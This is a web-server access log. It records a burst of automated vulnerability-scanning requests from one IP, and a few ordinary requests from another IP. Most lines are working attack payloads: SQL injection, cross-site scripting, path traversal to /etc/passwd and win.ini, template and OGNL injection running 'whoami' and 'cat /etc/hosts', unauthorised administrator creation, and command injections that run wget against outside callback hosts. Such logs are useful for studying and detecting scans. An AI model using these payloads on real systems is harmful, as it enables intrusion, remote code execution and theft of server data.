[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/search/attribute?versionid=*&tf_version=%27+and+(select%20pg_sleep(7))+ISNULL-- HTTP/1.1" 196
[09/Jan/2026:10:54:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?location=search HTTP/1.1" 3426
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/1ibLGB.txt HTTP/1.1" 199
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /service/0/test.oast.me HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ca/rest/certrequests HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /_ignition/execute-solution HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/get-organizations?p=123&pageSize=123&value=cfx&sortField&sortOrder&field=updatexml(1,version(),1) HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cms/content/list HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /idp/profile/oidc/authorize?client_id=demo_rp&request_uri=https://d5g6to2hausk1oj0j65g4j8gbqtwf3zhf.oast.live HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /pages/doenterpagevariables.action HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugin HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /functionRouter HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /iupjournals/index.php/esj HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /elfinder/elfinder-cke.html HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/login HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /mgmt/tm/util/bash HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/Pan/ShareUrl/downloadSharedFile?true_path=../../../../../../windows/win.ini&file_name=win.ini HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=directorist_author_pagination HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api.php HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /vcac/ HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/rps_result/v1/route/student_fields HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /admin/login.php HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/vr-calendar-sync/assets/js/public.js HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /themes HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Main/Default.aspx?viewSurveyError=Unknown+survey\"><img%20src=x%20onerror=alert(document.domain)> HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/gwyns-imagemap-selector/popup.php?id=1%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phpmyadmin/setup/index.php?page=servers&mode=test&id=%22%3e%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/check_user?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/feed-them-social/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /actuator/gateway/routes/380DISyGrYDsKnU93n8qgKaYYYx HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/arprice-responsive-pricing-table/js/arprice.js HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/380DIIIOgXFyR3YmuZDL8TNLiR6.svg HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/ssa/v1/users HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /help/admin-guide/test.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /OA_HTML/BneViewerXMLService?bne:uueupload=TRUE HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wbm/login/?next=https%3A%2F%2Finteract.sh HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/blade-user/user-list HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /zabbix/index_sso.php HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /catalog-portal/ui/oauth/verify?error&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%68%6f%73%74%73%22%29%7d HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /atmail/webmail/?format=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user/logout?next=https%3A%2F%2Finteract.sh HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sap/admin/public/default.html HTTP/1.1" 226
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/simple-membership/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/uploads/html2wp/380DIYCFgqjC8tRe79DmovjvL4f.php HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /images/icons_title.gif HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/options-general.php?page=cf7sr_edit&\"></script><script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Runtime/Data/ms_admin.php HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /custom/%3Cimg%20src=x%20onerror=alert(document.domain)%3E HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error.php?SERVER_NAME=<script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //test.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /aj.html?a=devi HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /resource/md/get/url?url=http://oast.pro HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /AccessAnywhere/%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cwindows%255cwin.ini HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /zabbix/setup.php HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-json/rsvpmaker/v1/stripesuccess/anythinghere HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //zb_users/c_option.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public/plugins/alertlist/../../../../../conf/defaults.ini HTTP/1.1" 226
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=wpda_gall_load_image_info&start=0&limit=1&gallery_current_index=<script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/appagebuilder/config.xml HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/infographic-and-list-builder-ilist/assets/js/ilist_custom_admin.js HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login.php HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /forum/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27 HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /OA_HTML/ibeCAcpSSOReg.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/module?type=%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&live_edit=true&from_url=test HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET .//WEB-INF/web.xml HTTP/1.1" 226
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/woc-order-alert/assets/admin/js/scripts.js HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /servlet/GetProductVersion HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cors_proxy/https://oast.me/ HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/380DIYsbzmbXktzIrCr64T4sIzD HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lib/icinga/icinga-php-thirdparty/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=easync_success_and_save HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin.php?page=nsp_search&what1=%27+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28document.domain%29+x HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /secure/WBSGanttManageScheduleJobAction.jspa; HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backend/backend/auth/signin HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/airflow/code?root&dag_id=example_passing_params_via_test_command HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/nightled.cgi HTTP/1.1" 199
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/touchlist_sync.cgi?IP=;wget+http://d5g6to2hausk1oj0j65g1q7krwoywxmz9.oast.live; HTTP/1.1" 199
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/mesh.cgi?page=upgrade&key=;%27wget+http://d5g6to2hausk1oj0j65gycdpspwudm71c.oast.live;%27 HTTP/1.1" 199
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /controller/origemdb.php?idselorigem=ATIVOS HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/change_setting?second_value=no_reload&disable_sequence=true&value=../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /download/C%3a%2fwindows%2fsystem.ini HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /contao/%22%3e%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /geoserver/wms HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /module/api.php?mobile/webNasIPS HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /pages/createpage.action?spaceKey=myproj HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mdiy/dict/listExcludeApp?query=1&dictType=1&orderBy=1/**/or/**/updatexml(1,concat(0x7e,md5('999999999'),0x7e),1)/**/or/**/1 HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/downloadFlile.cgi?payload=`ls>../380DITzdeORQx2Fk70SFM2yctEw` HTTP/1.1" 199
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /SecurityGateway.dll?view=login&redirect=true&9OW4L7RSDY=1 HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Admin/Access/Setup/Default.aspx?Action=createadministrator&adminusername=gyjMKr&adminpassword=Eaz7Sc&adminemail=test@test.com&adminname=test HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp/wp-content/uploads/wpjobboard/ HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin.back%3Cimg%20src=x%20onerror=alert%28document.domain%29%3E HTTP/1.1" 199
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=searchwp_live_search&swpquery=a&post_status=draft HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /alerts/alertLightbox.php HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /admin/uploads.php?id=1 HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /vcac/?original_uri=https://202.181.208.139:443%2Fvcac HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /js/filemanager/api/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/list HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /setup/index.php?page=servers&mode=test&id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads/assets/backend/elfinder/elfinder-cke.html HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/rps_result/v1/route/search_student?department_id=1&batch_id=1 HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1" 199
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/ajax/avatar.php?id=-1+union+select+md5(999999999)%23 HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?s=example HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /widgets/debug.php?a=<script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/chn/liveView?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /alerts/alertConfigField.php HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /actuator/gateway/refresh HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-post.php?vrc_cmd=phpinfo HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/web/service/search/auto-completion/domain/en.xml?q=adm HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login?redirect=%2F HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini HTTP/1.1" 226
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /dologin.action HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/class/config.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/backups-dup-lite/dup-installer/main.installer.php?is_daws=1 HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/config/config.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /creaprezzi.php?prezzoperiodo4=%22><script>javascript:alert(%27XSS%27)</script> HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /goforms/rlminfo HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /OA_CGI/FNDWRR.exe HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/video/?dl=aHR0cHM6Ly9vYXN0Lm1lLw== HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/simple-ajax-chat/sac-export.csv HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /icinga2/lib/icinga/icinga-php-thirdparty/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:54:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/dup-installer/main.installer.php?is_daws=1 HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/stopbadbots/assets/js/stopbadbots.js HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /OASREST/v2/authenticate HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /dfsms/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ccms/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /category_view.php HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /controller/login.php?acao=autenticar HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /page?id=380DIJHZQ6cG5iGfK9uKVq91itz&settings[view%20options][outputFunctionName]=x;process.mainModule.require(%27child_process%27).execSync(%27wget+http://d5g6to2hausk1oj0j65g6aiusyxdu6p3a.oast.live%27);s HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /app/options.py HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /payform.php?type=upgrade&upgradeid=1&upgradegd=6&price=123&t=1&note=%3C/textarea%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
